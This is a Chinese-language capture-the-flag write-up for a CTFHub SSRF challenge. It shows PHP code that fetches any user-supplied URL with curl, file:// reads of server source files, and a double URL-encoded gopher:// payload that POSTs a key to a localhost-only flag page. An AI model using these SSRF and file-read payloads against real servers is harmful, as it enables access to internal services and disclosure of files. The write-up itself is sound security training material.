这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
我们访问 127.0.0.1/flag.php 会得到一个输入框
查看源码得到 key=d5d8717016de3b11b8498de1fe572509
输入输入框:
我们尝试通过file协议读取index.php 和flag.php的页面源码
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
//如果url参数不存在,这行代码将使用HTTP头信息来重定向用户到根目录,并且尝试访问一个URL参数为_的页面
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
$ch = curl_init();:初始化cURL会话。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);:设置cURL选项,指定要访问的URL,这个URL是从请求参数中获取的。
curl_setopt($ch, CURLOPT_HEADER, 0);:设置cURL选项,告诉cURL不返回HTTP头。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);:设置cURL选项,允许cURL跟随重定向。
curl_exec($ch);:执行cURL会话。
curl_close($ch);:关闭cURL会话。
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {:这行代码检查发起请求的IP地址是否是本地地址(127.0.0.1)。如果不是,脚本将执行if语句内的代码。
echo "Just View From 127.0.0.1";:如果请求的IP不是本地地址,脚本将输出一条消息,提示只能从本地地址访问。
return;:这行代码结束脚本的执行。
$flag=getenv("CTFHUB");:这行代码尝试从环境变量中获取名为CTFHUB的值,并将其存储在变量$flag中。
$key = md5($flag);:然后,脚本计算$flag的MD5哈希值,并将结果存储在变量$key中。
if (isset($_POST["key"]) && $_POST["key"] == $key) {:这行代码检查是否通过POST方法提交了名为key的参数,并且该参数的值是否与$key变量的值相等。
echo $flag;:如果条件满足,脚本将输出存储在$flag变量中的值。
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=d5d8717016de3b11b8498de1fe572509
在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码:
POST+%2fflag.php+HTTP%2f1.1%0aHost%3a+127.0.0.1%3a80%0aContent-Length%3a+36%0aContent-Type%3a+application%2fx-www-form-urlencoded%0a+%0akey%3dd5d8717016de3b11b8498de1fe572509
POST+%2fflag.php+HTTP%252f1.1%250d%250aHost%253a+127.0.0.1%253a80%250d%250aContent-Length%253a+36%250d%250aContent-Type%253a+application%252fx-www-form-urlencoded%250d%250a%250d%250akey%253dd5d8717016de3b11b8498de1fe572509
因为flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,只能通过index.php
页面中的curl
功能向目标发送 POST请求,构造如下Payload:
view-source:http://challenge-4a31b39b2d878282.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST+%2fflag.php+HTTP%252f1.1%250d%250aHost%253a+127.0.0.1%253a80%250d%250aContent-Length%253a+36%250d%250aContent-Type%253a+application%252fx-www-form-urlencoded%250d%250a%250d%250akey%253dd5d8717016de3b11b8498de1fe572509
发送POST请求,得到flag。